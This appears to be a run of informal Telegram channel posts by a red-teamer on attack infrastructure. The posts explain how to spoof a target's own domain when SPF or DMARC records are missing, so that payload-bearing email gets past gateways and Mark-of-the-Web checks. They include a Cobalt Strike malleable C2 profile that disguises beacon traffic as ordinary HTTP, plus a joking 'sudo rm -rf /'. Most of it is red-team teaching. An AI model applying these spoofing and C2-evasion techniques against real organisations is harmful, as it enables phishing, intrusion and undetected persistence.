just a lil bit setup update will add some led shii soon 😉

@AfroSec

So… u just landed initial access on a server or compromised an org's system.
What’s next then ?
sudo rm -rf / 🙃? Nah

u need a solid plan and decent infrastructure that guarantees persistence for as long as you want without having to re-exploit the same vuln over and over :(
That’s where proper infra becomes the game-changer in here .
Just running a C2 framework doesn’t magically make us anonymous or stealthy we need infrastructure OPSEC layered with serious evasion techniques and a deep plan to stay hidden through out the engagement.
In my view, we should already know exactly how to deploy and harden the full infra stack:

C2 server
Payload hosting
Phishing kit / landing pages
Redirectors (multiple layers)
Other supporting pieces

I’ve got some resources in hand so will share it to u guys,
just finished spinning up a Discord server for the discussion / sharing. Will drop the link once I’ve customized it properly (rules, channels, etc.).
so u guys down to follow along, share tips, or collab on hardening this kind of infra?

@AfroSec

aigh fam

lets see email security in a nutshell
topic sounds lame but absolute masterpiece

why do you think some emails go to spam folder also why does those emails flagged by email-gateways ??

@AfroSec

so there are 3 DNS records which have impact on email sec
> SPF
> DKIM
> DMARC
lets see each one of them

SPF:- Sender Policy Framework
> lists which servers are allowed to send email for your domain
> for instance example.com's SPF record says like :"only 192.168.x.x can send an email as @example.com"

DKIM:- DomainKeys Identified Mail
> when you send an email, your server stamps it with a unique, invisible signature. when the receiving server gets it, they check that signature against your domain’s public key, if your mail lack this one it will get rejected entirely or flagged as spam

DMARC:- Domain-based Message Authentication, Reporting & Conformance
> simply Tells receiving servers what to do with emails that fail SPF/DKIM checks


so from our RedTeam perspective we will check those records which is kinda passive recon thing,
then if the server miss one of those like
1, No SPF rec
2, SPF and DKIM but No DMARC
3, No SPF and No DMARC

those are our jackpots kinda a way in ;), how ?

social engineering comes to play here 
we can send an email as example.com for that example.com employee which have initial access payload either it could be macros, Dll side loading or anykinda thing that u prepare for ur foothold

the main and good thing is email gateways and browsers wont flag for MOTW  that attachment why because we  just send that email as internal email with trusted domain :)) lucky us huh ?

if u ask me what MOTW is here is the post i wrote abt it > https://t.me/AfroSec/765

@AfroSec

https://www.mail-tester.com/

kinda cool resource to check for email Spammyness ;)

@AfroSec

https://anshu19981.github.io/Pentestcheatsheet

@AfroSec

yoo so i just created a Red Team Discord

If you're into hacking, redteaming ofc , or learning real-world security come join us.

👉 https://discord.gg/t4tcrF95

Let’s grow and learn together :))

@AfroSec

melllow my fellow hackers and defenders
how u holdin up tho ? 🤟

@AfroSec

> be iranian threat actors
> compromise FBI directors personal email
> fast forward like, 5 hours
> $10,000,000 bounty on head

Opinion: I think Kash Patel is extremely mad

this is a lot fr 🤯🤯
@AfroSec

let the night grind begin huh 😎😎

btw mn gud new znabu like damn 🥶

@AfroSec

some threat actors get into a system — let’s say your personal computer.

now you’re also a hacker… you think:
“Yeah I can just monitor the traffic with Wireshark and catch them blah blah.”

but here’s the thing…

They can make their traffic look completely legit. how?

Malleable C2 profiles

This is basically a domain-specific language (DSL) introduced by Cobalt Strike that lets redteamers redefine how their beacon(implant) communicates with the TS.

means....
They can disguise malicious traffic to look like:

* browsing social media
* streaming music
* accessing cloud services

So your “suspicious traffic” just looks normal.

Core components:

• HTTP GET / POST
• Global options (sleeptime, useragent, etc.)
• Data transformation & obfuscation (prepend, append, encoding)

set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36";
set jitter 0;
set sleeptime 0;
set timeout 10;
set retry 0;

http-get {
    set uri "/afro_checkin.php";
    client {
        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8";
        header "Accept-Language" "en-US,en;q=0.5";
        header "Connection" "keep-alive";
        metadata {
            base64;
            prepend "user=";
            header "z-User";
        }
    }
    server {
        header "Server" "nginx/1.18.0";
        contentencoding "gzip";
        output {
            print;
        }
    }
}

what’s happening here?

• Beacon checks in with metadata (ID, hostname, process, etc.)
• Data gets base64 encoded
• Then "user=" is prepended → user=base64payload
• Sent inside a custom header → z-User

Now it just looks like a normal HTTP request header.

Meanwhile…

• Team Server responds with payload
• Encoded + compressed (gzip)
• Still looks legit in traffic

There are a lot of templates on GitHub go check them out

but don’t just copy-paste them
u will get flagged fast :)

Most public profiles are already burned.

Also…
~90% of them are HTTP/S listeners

If you want to go deeper (P2P, SMB, DNS…)

@AfroSec

hmmm 🙃

@AfroSec

sijemer eko we are 😭😭🥀cooked

@AfroSec

thank you guys for your birthday wishes, I really mean it
A lot of new members joined this year too , thank you all for being part of my journey.

much love and respect 😊

@AfroSec